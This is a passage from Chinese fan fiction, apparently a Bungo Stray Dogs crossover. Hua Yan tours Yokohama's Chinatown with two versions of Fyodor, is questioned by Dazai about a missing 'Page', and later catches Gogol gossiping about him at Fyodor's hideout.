只是老板显然不明白他摊位没人的真正原因,还在款款而谈,“你看,你一身雪白宽松的斗篷,斗篷用肩部支撑,因此你上面贴身,下面宽松,再配上白色的头发,像不像是白色开花肠?当然,先生你的墨镜更是点睛之笔,衬得白色开花肠长了眼睛,更显得生动形象了。” 似乎是为了彰显他的分析十分严谨,他特意挪了一步,给花言让出身后的落地镜,“不信你自己看,我说的没错吧?” “费奥多尔”和费奥多尔同时用指节抵着唇转过头,避免自己脸上的笑意会被花言捕捉,再次给对方造成打击。 花言沉默地盯着摊位里面的落地镜,一时之间竟不知道是该质疑为什麽糖画摊位会有落地镜,还是该问对方这是不是在嘲讽自己。 思考了一秒,他认为糖画摊位放落地镜可能是起到了一个风助火势的作用。 花言听了老板的一番分析,确定自己遇到对手了,对方攻击力相当惊人。 他深深吸了一口气,保持住微笑,提出了一个看似无关紧要的问题,“你的摊位被人砸过吗?” 老板不明所以地回答:“以前倒是经常有,不过现在没什麽人会砸了,可能是生活水平提高了,大家的艺术细胞也得到了培养。” 这分明是上当的人多了,所以已经臭名远扬了吧! 花言简直匪夷所思,这就是真正的“遇见问题不要从自己身上找原因,要责怪他人”吗?虽然说的话像是在嘲讽,画的糖画抽象无比,但最起码对方是真的自信。 让他想到了还没有七彩眼睛时候的自己。 老板似意识到了什麽,警惕地看向花言,“砸摊位可是要赔钱的。” “放心,我不会砸摊位。”花言亲切地说明。 没等老板松口气,他表情骤然一变,冷笑道。 “我将会贷款起诉你,上法庭的时候记得带上你不为赚钱只为攻击他人的抽象糖画和你乱七八糟的分析!” 老板愣住,旋即恼羞成怒,“你可以贷款起诉我,但不能侮辱我的作品!什麽是乱七八糟的分析?我的分析明明很有有理有据!” “哈?你还真好意思说‘作品’这个词……” 花言见对方居然毫无悔过之心,当即跟对方辩论了起来。 两人都试图说服对方意识到自己的错误,你一言我一语来回辩论,花言简直把在学级裁判上没发挥出的辩驳才能都用在了这里。 见这样下去似乎没有尽头,费奥多尔当即伸手拉住了对方,等后者望过来才开口安抚。 “花言,那边似乎有其他更有趣的摊位,我们没有必要在这里浪费时间。” 既然费奥多尔都这样说了,花言对着老板轻哼一声,舔了口手中的糖画润润嗓子,意外地发现味道还不错,用的糖最起码不劣质,尝起来透着清甜。 看在味道不错的份上,他勉强原谅了老板充满攻击力的分析。 费奥多尔注意到花言脸上神色的变化,觉得后者有点太好哄了,明明上一秒还满是不服气地跟摊位老板争辩,下一秒就能因为味道不错而感到惬意原谅对方。 花言眼不见心不烦,几口吃完手里的糖画,将目标放在不远处的章鱼小丸子摊位上。 吃多了甜的也是时候吃点咸的中和一下了。 两人只见花言忽然加快速度走向了不远处的摊位,不一会儿端着一份章鱼小丸子走了回来。 花言考虑到两人都吃过晚饭的可能,所以只买了一份,他叉起一个章鱼小丸子,本来想先塞进自己嘴里尝尝,如果好吃再推荐给他们,但又觉得还是先问一下比较好。 于是花言矜持地问道:“要吃吗?” 果不其然,“费奥多尔”轻轻摇头拒绝,“不用了,我已经吃饱了。” 花言目光看向费奥多尔,后者并未立即回答,微凉的指尖搭上了他的手腕,那张苍白又极具异国美感的脸庞靠近,低头从他手里咬走了那颗被他叉起来、原本想自己吃的丸子。 花言大脑再次宕机。 费奥多尔似后知后觉般察觉到花言的反应,他指尖将刚刚因低头而垂落到脸侧的碎发挽回耳后,有些无辜地眨了一下眼睛。 “是我误会您的意思了吗?” 花言手腕上似乎还驻足着那一点凉意,听见这句话,他思维能力逐渐恢复。 对方原来是误会他意思了……吗……? 如果承认的话可能会让费奥多尔感到尴尬,所以…… 花言慢吞吞地摇头,叉起了一颗新的章鱼小丸子塞进了自己嘴里,确认味道确实不错,将剩余的伸到了对方面前。 “要吃的话还有。” 费奥多尔唇边笑意加深,“您吃吧,我尝一口就好。” 花言含糊不清地应了一声又收了回来。 “费奥多尔”视线从花言平静的脸庞上扫过,落到对方在灯光下不甚明显的微红耳尖,理解为什麽这个世界的自己会送对方发带了。 真是一览无余呢。 “花言。”“费奥多尔”叹息出声,“您有点太容易害羞了。” 这下耳尖上的那点红更明显了。 第97章 哪怕这条街的占地面积受限,花言又苛刻地筛选掉了大半店铺,逛这条街仍旧花了他们不少时间。 花言看着面前道路分叉的街道,有些困倦地打了个哈欠,思绪慵懒地转动,思考是走另一条路买杯奶茶提神顺带绕回门口,还是直接顺势走出口回去。 这两条种选择通往“太宰治”他们给他弄到的住宅都是一样的距离。 要不然还是走另一条路回去吧,不仅能喝奶茶,还能看看有没有被他忽略的美食小吃。 花言抬头刚想跟身边的两人说出自己的想法,垂落在身侧的手腕忽然被一只温热的手从后握住。 暂且不提这个方向不对,费奥多尔和“费奥多尔”都在自己身侧,光是这种健康的温度就很不对劲! 可能是最近他亏心事做的有点多,也可能是这个充满了异能的热血世界给他造成了极大的震撼,以至于花言本能想通过重力异能弥补自己体力上的缺陷,使出一个丝滑的过肩摔先下手为强。 近乎是手腕被触碰上的同时,红光迅速蔓延,又在彻底被握住时被雪白的光芒覆盖,二者相互抵消,发出一声似有什麽东西被打碎的清脆声响。 异能溢出的能量掀起一缕小小的气流,以花言与第四人为中心向周围逸散。 花言瞬间意识到了握着他手腕的人是谁,他朴实无华地甩开对方的手,指尖下意识摸上眼前,在指腹触及到那抹光滑质感的镜片时松了口气,旋即新的疑虑随之而生。 整个过程不超过短短一秒,却让在场四个人心底都划过一丝诧异。 “诶……?” 太宰治似没有反应过来般缓缓眨了眨眼睛,“花言,你刚刚是用了重力操纵的异能,想调轻我身体的重量,好用过肩摔摔我吗?” 虽然那一点感觉细微到近乎是错觉,但他确实感受到身体轻了一瞬,再加上对方想反握住他而搭上他手腕的指尖,太宰治轻而易举地能够猜出对方的反击意图。 “……谁让你吓我一跳。”花言试图用视线谴责对方。 太恐怖了,他为了方便身上的衣物都是用复制的,在复制的异能被无效化了的时候,他差点以为自己要体验什麽才是最绝望的死法了。 不过……为什麽会没有被无效化呢? 花言视线看向身侧的“费奥多尔”,后者仍旧好端端地站在那里,他脑海里跟其他人的感应也没有被断开,唯一被无效化的只有他复制的异能。 难道是他的异能在解析“书页”时被反方向提升了?还是系统在给他构建异能时没设置好优先级就直接套用了游戏? 仔细回想,他召唤出的人物都链接平行世界了,复制出的东西四舍五入说不准也算是直接从平行世界拿了,这方面的能力会脱离异能的作用域好像也很正常。 花言逻辑自洽地说服了自己,并再次怀疑起系统给自己构建的这个异能究竟有没有过强,他真的不会因为太超模了而被驱逐出这个世界吗? 太宰治看不见花言眼眸中是何种神色,不过他能够听出对方语气里的谴责。 太宰治幽怨地盯着对方,“我喊了你好几声哦,明明是花言你没有听见,我才会伸手拉你的。” “真的吗?” 花言有些狐疑。 他似求证般看向右手边的费奥多尔,后者收敛了眼底的思索,温和的神色中混杂上些许歉意。 “抱歉,我没注意这点。” 太宰治闻言眼眸睁大,对方忽略他就算了,现在甚至还能睁着眼睛说瞎话。 没等太宰治反驳,花言看向另一边的“费奥多尔”,后者似在回忆般沉吟了一会儿,最终轻轻颔首,说出了实情。 “好像确实有人喊您,不过这里环境太嘈杂了,我没听真切。” 原来是这样。 花言重新看向太宰治,刚想说是他冤枉对方了,却意外发现后者表情有些古怪。 太宰治察觉到花言的疑惑,他语焉不详地说出自己感到震撼的地方,“没想到身为学生的费奥多尔会帮我作证。” 哪怕对方没用肯定的词汇,也已经很让他意外了,毕竟说没听见想趁机让花言对他印象变差才像是费奥多尔的正常作风。 这是什麽话? 花言有些不满地为费奥多尔证明清白,“这只是他刚好没听见而已。” 太宰治:…… 太宰治忽然开始怀疑他现在找花言是不是个正确的决定。 或许他应该在看见花言身边有两个费奥多尔的时候就转身离开等下一次遇见,而不是因感到好奇上前。 花言没在意太宰治的突然沉默,相比之下,他更好奇对方的出现,“你怎麽会在这里?” “因为之前不是发生了很多事吗?导致我一直都没有时间尝秋季的螃蟹,现在好不容易找到机会了,当然要来吃。”太宰治说着煞有介事地伸出手指跟对方推荐,“秋天是螃蟹最好吃的时候哦,中华街有一家店做螃蟹相当不错,如果你感兴趣……” “我不感兴趣。”花言兴致缺缺地拒绝了对方。 太宰治要是早几个小时找他,说不准他就同意了,现在他吃小吃都吃饱了,再去吃螃蟹就有点腻了。 “好吧。”太宰治微微耸肩,收起了那副轻佻的表情,“我其实是有事找你,花言。” “什麽事?”花言忽然警觉。 太宰治没有回答,他视线扫过站在对方身后的两费奥多尔,又重新落回眼前青年身上,“方便找个地方单独聊一下吗?” “现在?” 花言其实挺不方便的,他回头看向两人,有些犹豫。 “现在。” 太宰治毫不犹豫地点头,见对方似十分在意那两费奥多尔的想法,他心底疑虑更深。 顺着对方的目光看去,唇边勾起一抹不含笑意的礼貌性弧度,“你们应该不介意等花言几分钟吧?” 赶在费奥多尔开口之前,“费奥多尔”欣然点头。 “当然。” “费奥多尔”似善解人意般对花言说道:“他好像真的有什麽重要的事情找您,您不用顾及我们,顺应您的想法去做吧,我们会在这等您。” 既然“费奥多尔”都这样说了。 花言觉得太宰治找他肯定没什麽好事,不过同样的,他也很好奇对方这个时候找他究竟是为了什麽。 他跟着太宰治走向隔壁街道拐进了监控死角的巷子深处。 花言视线打量着周围昏暗到近乎是杀人圣地的好地方,言简意赅地问:“横滨官方有想过在巷子里装监控吗?” “可能是想过的,只不过最后跟管理擂钵街一样没有了下文。” 更别提现在擂钵街更不好管理了。 想起擂钵街现在的情况,太宰治有些微妙,补充道:“而且就算真的在巷子里装了监控,那些小混混不拆,也会被你拆了吧。” 花言:…… 他是那种会破坏公物的人吗?! 花言回想了一下自己经常躲避监控的行为,又想象了一些大街小巷都装监控,三百六十度无死角的场面,改变了想法。 是的,他是那种会破坏公物的人。 不过这点他势必不会暴露给太宰治的。 花言语气平静,直奔主题,“你找我什麽事?” 太宰治也没浪费时间,直白地说出来意,“花言,“书页”是不是在你身上?” 花言:? 花言知道这件事迟早会暴露,但这未免来的太快了,以至于他觉得如果不是之前他们都找不到自己,说不准第二天他就会被找上门。 “你为什麽会这麽认为?” “因为……“书页”上写着的内容仍旧在生效?” 太宰治语气轻快,“之前被黑白熊当作毕业礼物的“书页”应该是实物,“猎犬”那边已经确认了,“书页”并不在福地樱痴身上。” 花言隐隐约约有了一种不祥的预感。 果不其然,只听太宰治接着说道。 “黑白熊提供的光盘以及那场学级裁判,省了我们不少功夫,而被规则限制的无异能学院又给我们提供了一个可以让彼此和平沟通解开误会的空间。虽然现在武装侦探社上的罪行仍旧存在,但是他们的态度最起码不像之前一样激烈——嗯,就是需要我们在一定时间内找到清白的证据,不然他们还是会抓捕我们。” “嘛……总之比起之前已经很好了。”太宰治低低笑了一声,“因此我们其实都很感谢你呢,花言。” “那你感谢的太早了。”花言面无表情地防御住了太宰治的糖衣炮弹,““书页”不在我身上。” 太宰治不信,以最后结束的那种方式来看,只会出现两种可能。 一种是算作没有人毕业,所有礼物随黑白熊一起销毁;另一种是算作花言独自毕业,毕竟以后者的才能,在爆炸中最后一个死也不是没可能。 他幽幽盯着花言,用另一种方式提醒,“我在来的路上遇见了港口mafia。” 花言:。 所以他上一秒带着钱出港口mafia,下一秒中原中也就行动力极强地找到了太宰治,验证那批货究竟会不会被异能无效化是吧? 不对,中原中也当时看起来像是已经默认会被无效化了,应该是森鸥外为了能够发挥出这批货的最大作用,为了减少误差,授意中原中也去验证这一点。 而以太宰治的性格,绝对想方设法从中原中也那得知了这批货的来龙去脉。 难怪对方会这麽快找上他呢,原来是已经有证据了。 只可惜这个证据并不充分。 他不小心干扰了费奥多尔计划一次,已经很对不起对方了,“书页”绝对不能从他手上给出去,哪怕现在他实现了“书页”自由也不行。 如果真的给太宰治一张又给费奥多尔一张,花言简直不敢想到时候会是个什麽样的局面。 他面不改色地坚守,“确实不在我这里。” 第98章 白发青年抱着手臂斜斜倚靠在墙壁上,背对灯光,外界繁华的灯光照亮了对方轮廓,雪白的发丝与斗篷一同晕染开一层属于中华街的赤色,太宰治看不清对方脸上的情绪,只能从对方语气中听出那一缕坚定。 难道真的是他误会了? 以最终那场学级裁判上花言和费奥多尔之间那种似心照不宣的莫名默契来看,说不准两人达成了什麽共识,导致最后结束时费奥多尔拿到了“书页”,又或者是……对方在出来的一瞬间会将费奥多尔单独带走的原因,就是为了履行承诺把“书页”交给后者。 想到这种可能,太宰治忍不住问出了那个从看见这两人和谐共处开始就冒出的疑问。 “花言,你还记得你的任务吗?” 花言:? 怎麽太宰治也知道他的任务了?! 弗朗西斯说的? 不对,对方应该不会告诉太宰治。 花言警惕地询问,“你怎麽知道的?” “这不是很明显吗?” 太宰治理所当然地回答,从对方所做的种种行为来看,想要得知这一点相当容易。 好吧,原来是自力更生发现的。 现在他确实是有了很大的进度,被太宰治看出也正常。 花言勉强接受了被对方看穿的事实,他点了点头,“当然记得。” “那你现在在做什麽?” 太宰治心底一直积压的疑惑在此刻萌发。 花言觉得对方这个问题有点怪怪的,不过并不影响他回答,“在完成我的任务。” 太宰治觉得如果对方没有忘记任务还想杀费奥多尔,那应该不至于出现跟两个费奥多尔一起逛中华街的情况。 他眉头微蹙,再次确认,“你真的在完成你的任务吗?” 感受到对方的质疑,花言斩钉截铁地强调,“当然了,你应该也明白吧?这并不是一件容易的事情。” 确实如此…… 太宰治若有所思地垂下眼帘。 花言语气中的坚定和决心不似作假。 对方难道是在跟费奥多尔虚与委蛇逢场作戏,借此打消后者的警惕? 可是于对方而言,费奥多尔真的有这麽棘手吗?需要用这麽迂回的方式? 从中原中也的描述来看,花言拥有某种既能隐匿身形、又能构造出独立异能空间、甚至还能强行把他人定在原地的异能。 这些能力组合在一起显得十分混乱,但如果依照刚刚他所感受到的重力操纵异能,将这些能力都看作单独的异能,前两个就变得十分熟悉。再加上对方能够接触平行世界、并带他们自由穿梭的能力,以及另一个世界的自己在“骸塞”时所说那句——花言像是个收藏家。 对方能够展现出这些能力的缘由就一目了然——对方收藏了异能、收藏了世界。 甚至对方都能在失忆状态下说出“书页”与“书”的信息了,如果对方想杀费奥多尔,那无论怎麽样,现在都应该已经得手了。 还是说,这个世界于对方而言有种某种特殊性,费奥多尔牵扯到更多更深重的东西,让花言在这方面谨慎无比,事先在其他世界不断尝试积累了经验,才最终制定了这样的计划? 这样的话,对方的雇主八成也不是什麽普通人…… 太宰治缓缓开口,“花言,给你布置这个任务的是谁?” 花言没想到对方居然还能从中意识到系统的存在,他倒吸一口凉气。 觉得对方恐怖如斯的同时,不忘沉痛地摇头,表示他们都不是系统的对手,“它不是这个维度的东西。” 果然是这样吗…… 太宰治陷入了沉思,没有再开口。 巷子里一时之间变得沉寂,中华街主道传来的喧闹声响不绝于耳。 花言等了一会儿,见对方似乎没有什麽想问的了,他直起背脊,“如果你没什麽事情要说了,那我走了哦。” “嗯……”太宰治从思绪中抽出注意力,他望向那道逆光而立的身影。 犹豫再三,在对方转身即将离去时,还是开口说道。 “如果很困难,你也可以来找我们帮你。” 花言:? 花言:! 花言即将迈出的脚步顿住,他难以置信地回头看向对方,大为震撼。 真的吗? 太宰治真的要帮他追费奥多尔吗?! …… “费奥多尔”目送那道雪白的身影渐行渐远,直到完全消失在视野中才收回视线。 费奥多尔知道对方放花言跟太宰治离开是有什麽事情想单独跟自己说。 两人心照不宣地走到了一处监控死角。 “既然在某种程度上您等同于我,那麽,我就直说了。” “费奥多尔”抬起眼眸看向那张与自己相同的面容,“我并不是第一次接触到身处异能世界的‘我’,如果这个世界力量体系也是异能,您接近花言,是想借助他的能力完成你的理想吗?” 费奥多尔并不意外对方能看出自己的目的,同样的,在“自己”面前也没有说谎的必要。 他微微颔首,“没错,既然您了解,那您应该也能理解。还是说,您想让我远离他?” “我为什麽要那麽做?”“费奥多尔”笑了一声,轻轻摇头,“我不会干扰他的任何决定,他想怎麽做是他的自由。” “不过……” “费奥多尔”脸上浮现出真心实意的疑惑,“我有个问题十分在意,我见过很多个平行世界的‘我’,里面不乏有跟您近乎相同的存在,花言对我们每个人态度都较为特殊,也都创建了深厚的信任,可为什麽花言会在这个世界拥有实体呢?” 费奥多尔眼眸微暗,读出了对方这句话的言下之意。 对方像是在告诉他,他真的只是纯粹运气好,哪怕对方的年龄没有满足花言的喜好,也有其他平行世界的他可以满足。 也像是单纯是奇怪花言为什麽会实体化在这个对后者而言完全陌生的世界。 “您似乎并不意外花言会拥有实体这件事。” “嗯,您应该已经知道了,花言曾带着我们不断穿梭在各个平行世界参与战斗,当然,每一场战斗都不是毫无意义的。” “费奥多尔”没有隐瞒,他知道哪怕自己现在不告诉对方,对方也一定会从花言口中得知,比起让花言来说,由他说的收益更大一些。 “对于我们而言,我们见到了各种可能、各种未来,明白了此世之外的东西。对于花言而言,他能够收集到更多的能量,这些能量近乎什麽都能做到,不过他当时经常会用来接触更多世界,以及……更改战斗失败的结局。” “原来如此,您认为他用那些能量构建了实体吗?”费奥多尔明白对方的意思了。 “他的眼睛跟那些能量结晶的颜色很像。”“费奥多尔”似回忆般微微歪头,又改口,“不对,他的眼睛颜色好像要更淡一些,是不够用吗……?” “费奥多尔”后面那句话显然不是在问费奥多尔,而是近乎在喃喃自语。 后者没有见过花言的眼睛,自然也无法继续跟对方讨论这个话题。 不过对方对能量的描述倒是让他觉得有几分熟悉,“听起来这些能量有点像“书”。” “费奥多尔”没有否认对方的猜测,“所以我一开始也以为他是为了“书”而来,不过那些能量没有“书”的使用条件那麽苛刻。” 费奥多尔若有所思,他刚想继续说些什麽,余光却注意到那道出现在人流中的白色身影,“费奥多尔”同样也注意到了对方的到来,他们不约而同地结束了话题。 花言只觉得人多果然麻烦,他都不确定费奥多尔和“费奥多尔”是不是在这等他了,目之所及全都是人。 他视线在令人头晕目眩的炫彩灯光中穿梭,直到一声呼唤自空气中传递直至耳畔。 “花言。” 花言循声望去,发现身形相同的两人正站在不远处的树旁,他快步靠近。 “抱歉,久等了。” “没关系。”费奥多尔微微摇头,将话题又拨回最初没有被打扰的时候,“接下来我们走哪边?” 没等花言回答,“费奥多尔”忽然开口。 “花言,我刚刚好像看见了涩泽君。” 这句话瞬间吸引走了花言的注意,“他也在中华街?” 花言感应了一下,发现对方还真在,他回过头看向所感应到的方位,映入眼帘的是一家被围堵得水泄不通的服装店。 花言:…… 难怪他没看见呢,原来是被人墙堵住了。 “费奥多尔”从对方回过头的举动里清楚对方也意识到了的事实,“他好像在为您挑服饰,我去看看吧。” 花言觉得“涩泽龙彦”可以不用那麽敬业,这种人海…… 他迟疑地确认,“你真的要去吗?” “嗯,您也清楚,他一投入只会依照艺术审美搭配,从而忽略您的感受,为了避免出现会令您头疼的情况,我还是在旁边提醒一下比较好。” “费奥多尔”温和地笑了笑。 对于“涩泽龙彦”的这个问题,花言确实深有体会。 如果到时候“涩泽龙彦”给他选了好看的,但是完全不符合他审美衣服,他是穿还是不穿呢? 如果不穿对不起“涩泽龙彦”这麽拼命的劲头,如果穿有点对不起自己的审美。 “麻烦你了。” “没关系。” “费奥多尔”含笑朝对方挥了挥手,转身朝着“涩泽龙彦”所在地方走去。 花言目送对方完全消失在人流中才收回视线,与身侧的费奥多尔一同走上另一条路。 花言在看见什麽喜欢吃的东西的时候会一如既往地给费奥多尔也买一份,也会时不时问问对方有没有什麽想吃的或是喜欢的,但询问得到的回答都是“没有”。 费奥多尔对这些都不怎麽感兴趣,他会在这里纯粹是为了陪花言罢了。 五光十色的灯光从街道两边的店铺洒落,身侧白发青年身上的色彩不断随着进入的光线局域而变换。 哪怕花言目前只能说出自己吸引他的地方是年龄也无所谓,哪怕在这方面与自己相同的同位体有很多也没关系。 既然对方会实体化在这个世界,那他总有机会彻底成为对方心中最为特殊的存在。 花言一开始被太宰治偷袭而调起的精力伴随着时间逐渐消失,他喝了口手中用于提神的奶茶,十分怀疑这里的奶茶是不是偷工减料了,他喝了感觉更困了。 花言再次打了个哈欠,眼前的灯光在眼角溢出的生理泪水中摇晃,显得光怪陆离,恍若梦境。 “您困了吗?” 熟悉的音色在耳畔响起,嗓音被刻意放轻,似乎不想惊扰到他。 今天做了太多的事,再加上困意,花言脑子有点转不动了,他下意识点头。 “抱歉。” “这不需要道歉,花言。”费奥多尔无奈地叹了口气,“您总是会在不必要的地方显得过分客气,我希望您可以对我更理所应当一些。” 花言含糊不清地应了一声,咬着吸管,迟迟没有想起下一步该吸一口。 他脑海里还在想回去的路,一想到要走那麽远,就恨不得就地进异能空间凑合一晚睡算了。 “方便告诉我,您住在哪吗?我送您回去。” 费奥多尔从口袋里拿出手机,指尖在屏幕上滑动,想要找个有空的下属来接。 花言本能比思维快一步跟对方说出了地址。 他还在纠结是回去睡,还是跟之前一样在异能空间里随便睡一下,前者舒服一点,但坏处是太远,后者很近,但坏处是不舒服。 犹豫半晌,他还是做出了决定,“不用了,我进异能空间睡一下就好。” 费奥多尔从对方因困意而变得模糊又裹挟着气音的回答里明白了对方会更改主意的原因,他思索了一会儿,给出了第三种选择。 “如果您觉得异能空间不舒服,住处又太远,您可以去我那,我有个据点就在中华街隔壁,唔……您应该去过。” 花言愣住,他顺着对方的话回想了一下,发现好像确实有那麽一个据点。 但是…… “会不会有点不太合适?” 他这就登堂入室了吗?这是不是有点太快了? “没关系,而且如果您回住宅,极有可能会被打扰,如果我记得没错,那里是港口mafia的财产,您的同伴还用了异能特务科的能力去洗,他们现在应该都知道您名下有那麽一个住宅。” 费奥多尔似真心实意在为对方考虑般,认真分析。 “现在您那些了解这个世界的同伴似乎都回去了,如果他们没耐心了想主动找您,首选肯定会去那。” 花言被对方说动了,不可否认,费奥多尔说的确实有道理。 说不准如对方所说的一样,其他人或许都在暗中观察自己,只是考虑到“涩泽龙彦”他们的存在,以及时间只过去了短短几天,所以才一直没有出现。 证明这番说辞的最好案例或许就是港口mafia,他前脚刚把“涩泽龙彦”他们送回去,并出现在大街上,后脚中原中也就出现了,提着他跟“太宰治”一起进了港口mafia。 更重要的是,如果今晚去费奥多尔的据点,他就不用考虑该怎麽主动去找对方了。 对方知道自己住哪,甚至说不准第二天会主动来找自己。 四舍五入这算他们没有分别,既然没有分别,那自然就不用再思考要怎麽见面了,这下这个令他苦恼不已的难题不就解决了吗? 一瞬间,花言大彻大悟。 他毫不犹豫地点头同意。 第99章 若有若无的悉悉索索声响在空气中传递,轻盈得像是清晨枝头小鸟跳动时晃动的树梢,也像是街头表演者身边会发出的欢笑。 花言朦胧地将被子盖过头顶,试图彻底阻隔那点声音,一缕清冷淡雅的冷香伴随着被子掀起混入呼吸,陌生又熟悉的气息引起了他的探究,也让记忆与意识渐渐清醒。 花言翻坐起身,望着眼前的空旷又简约的房间,明媚的金色光束透过乌木窗投射,空气中浮游着粒子,周围的一切无比陌生。 他好一会儿才意识到这里是费奥多尔的据点,而耳边的声响也褪去了梦幻的色彩,变得清晰——那似乎是对话声。 他记得昨天费奥多尔把他送进房间后就合上门出去了,他本来以为对方离开了,但是现在看来好像并没有。 模糊的声响无法分辨出具体音色,不过花言能够根据那时不时响起的笑声与费奥多尔的人际关系里判断出另一个人大概率是果戈里。 好奇心促使着花言起床一探究竟,他戴上必备墨镜,将异能复制成了“人间失格”,借此躲过果戈里异能的感应,随后悄无声息地打开房门。 门外是空旷的客厅,声音似乎是从书房传来的。 书房的门没有锁,仅虚虚合拢,露出了一条缝隙。 花言凭借着阴暗潜行的经验摸了过去,站在门口默不作声地偷听。 没想到他来的正是时候,一听就听到了果戈里想背刺自己的关键。 “哈哈哈哈——默尔索那边是这样的记录吗?他们都这样认为?” 果戈里笑得乐不可支。 “花言白天跟你说他眼睛没诅咒,夜晚却跟你说有诅咒?” 费奥多尔淡淡的嗓音与果戈里近乎是看热闹不嫌事大的笑声呈反比。 “嗯,您看起来好像知道花言眼睛的秘密?” “当然,当——然——!” 果戈里用抑扬顿挫的浮夸语调一如既往地卖着关子。 “提问——!你猜猜我是什麽时候知道的?” “在他重现六年前“龙头战争”时候。” 费奥多尔语气古井无波,这个问题对于他来说显然不是什麽难题。 “还是在“骸塞”里,您通过异能趁他不注意奇袭了,对吗。” “嗯嗯~!陀思君还是一样的敏锐呢!” 果戈里捧场地开始鼓掌,旋即他的表情从兴奋转换成用力过度的后怕。 “当时花言的表情超级——恐怖——!我差一点就被他杀掉了呢。说真的,陀思君,他给我的感觉有时候就像你一样,不过……不同于你给我的感觉,他更像是一直在监视我一样,什麽都知道,有点可怕得过头了——!” 费奥多尔没有回应果戈里的抱怨,后者自顾自的碎碎念说了一堆有关花言的恐怖猜想。 比如说什麽其实他的眼睛是监控器,任何跟他对视了的人都会被监视,又比如说什麽也许他根本不是人之类的怪话。 听得门后的花言拳头逐渐硬了。 这是什麽话?! 不要在费奥多尔面前破坏他的形象啊! 花言有些按捺不住地想要冲进去跟果戈里辩驳一下,但后者后面一句话又将他按了回去。 或许是由于费奥多尔的反应仍旧平淡,果戈里为了吸引对方的注意抛出了一个新的话题。 “陀思君,陀思君,你想知道花言眼睛的秘密吗——?” 这句话果然引起了费奥多尔的反应,后者并未回答想还是不想,而是意味深长地提醒。 “这样好吗?如果我没猜错,您应该答应了花言要保守秘密的吧?” “没关系啦——花言他现在应该还在睡觉,我来之前感应过了。” 果戈里信誓旦旦地说明。 “更何况——这也是一种自由意志的证明,如果他真的如影随形,那现在就应该出现在门边!” 果戈里说着走到了门口,一边似舞台上魔术师揭秘般打开虚掩的门朝费奥多尔展示,一边得意洋洋地说出结论。 “看吧,他根本……” 果戈里的话还没说完,收回的余光忽然瞥到了一抹白,他动作僵在原地,吞回了后面的话,一点一点抬起头,视线顺着对方似睡衣般的雪白裤腿缓缓上移,直到那张戴着墨镜的熟悉面容映入眼帘。 花言对果戈里微微笑了一下,开始梅开三度地复读,“没关系啦,花言他现在应该还在睡觉,我来之前感应过了,更何况,也是一种自由意志的证明……” “哇啊啊啊啊——!” 果戈里惊恐的大叫声盖过了花言平静的嗓音,前者双手揪着斗篷像是一只炸毛的白鸟。 “陀思君!有鬼啊——!” 费奥多尔面不改色地继续处理文档,选择性忽略了果戈里的求助。 被音波攻击了一下的花言面无表情地捂住耳朵,等着果戈里接下来要借题发挥整什麽活。 果戈里在求助无果后自力更生地扬起了肩头的斗篷,斗篷自上而下盖住花言,没等果戈里揪着斗篷也拢住自己,一道雪白的光芒忽然穿过缝隙闪烁而起,准备发动的空间系异能被强行中断。 果戈里手里还握着斗篷的一角,他提起斗篷看了眼里面的花言,后者似非常有诚意地道歉。 “不好意思,忘关了,不过现在好了。” 果戈里:…… 果戈里沉默地回头看了眼费奥多尔,后者似乎被刚刚的光芒吸引,椅子已经转了过来,双手十指交叉搭在腿上,好整以暇地正看着他。 原本行云流水般的魔术表演就这样以“观众”的不配合而出现了漏洞。 “花言——”果戈里幽怨地指责着罪魁祸首,“这可是我魔术师生涯中的大失败哦——!” “也是我的大失败。”花言相当记仇,即将梅开四度复读,“我居然相信了你,果然,小丑……” 后面的话花言还没来得及说完,雪白的斗篷再次合拢,这次异能成功发动,他们一同出现在据点外的巷子中。 果戈里落地开始一本正经地解释。 “是这样的,花言,我其实并没有想把你瞳色告诉陀思君的意思,我只是想借此编些虚假的信息来迷惑一下他。” 花言抱着手臂,无动于衷地盯着对方,捧读,“哦,这样啊?” 果戈里假装没有听出对方语气中的不信任,他用力点头,“没错哦!” “那你还说我坏话。”花言一针见血地又指出了新的问题。 果戈里没想到对方连这都知道,他缓缓陷入沉思,“花言,你……究竟是什麽时候站那的?” 花言冷冷地笑了一声,说出了相当阴湿的话,“我会一直一直盯着你的,果戈里。” 果戈里看着花言瞳孔地震,他伸手扒住了对方肩膀,“哇呜!不要说那麽恐怖的话啊!花言——!” 花言十分了解果戈里的作风,他全然没有被对方影响,“毕竟,我一个不注意你就开始说我坏话,还想暴露我的秘密,果戈里,你的信用在我这里彻底破产了。” “怎麽会这样——”果戈里发出一声沉痛的悲鸣。 这份悲痛没有持续多久,很快又换了一副表情,他竖起手指,强调,“我真的只是想用你眼睛的秘密迷惑一下陀思君而已!而且我说你坏话,也是为了你好啊——” 花言:? 这话术怎麽这麽熟悉,让他想起了某位故人。 花言言简意赅地问:“西格玛呢?” 果戈里:…… 花言的话看似无序又跳跃,但是考虑到对方之前总是复读他的话,对方这句话应该是在暗指他这个说辞已经在劝说西格玛一起杀费奥多尔时说过了。 花言见对方仅盯着自己不说话,为了避免果戈里会认为他也让对方感到不自由了而暴起捅他一刀。 花言退让了一步,“好吧,那你说说为什麽是在为我好。” 果戈里喜欢会主动捧场的对象,他脸上又扬起了热情的笑容,“当然是为了让陀思君忌惮你——!” 花言:? “我为什麽要让他忌惮我……?” 而且这真的是忌惮吗?他总觉得以费奥多尔的作风,如果他真的让对方感到了忌惮,对方说不准会优先想方设法除掉自己。 “这样花言你就安全了呀——以陀思君的谨慎,他一时之间绝对不会轻易主动对你动手,也能更有利于我们的目的,到时候我们相互配合,一定能够成功干掉陀思君的!” 果戈里说着又有些懊恼,“本来花言你都创造出了那麽好的一个场地——!可惜晚上的我们都会失忆,在失忆状态下,我们都被陀思君牵着走。白天倒是很好的机会,我一直在等你动手,但你一直没有动静,这实在是耗得太久了——!” 他抱怨地大叫了一声,更挫败了,“所以我没有再等你,而是想自己动手,但是——!但是!不知道为什麽那个美国人总是针对我,别人请病假都可以,我请病假他就上门来看,一看我还能呼吸就说我没生病——哪怕我直接逃课,他也特意满校园跑来抓我!害得我后面被发现触犯了规则,最终被武装侦探社的社长和港口mafia的首领用副校长权力关禁闭思过,彻底错过了这个好机会!” 果戈里喋喋不休地倒出了一大堆信息量爆炸的话。 花言一时之间都不知道该先回哪个。 见对方气馁到连头顶乱翘的白毛都耷拉下去的模样,不由自主地产生了些许同情,难怪他后面在白天的学院都没看见对方,原来是被关起来了…… 不过…… “谁跟你说我要杀费奥多尔了?” 花言简直匪夷所思。 果戈里这次真的瞳孔地震了,他双手夸张地摆动,“你不想杀陀思君?可你明明在“骸塞”里的时候跟我说……” 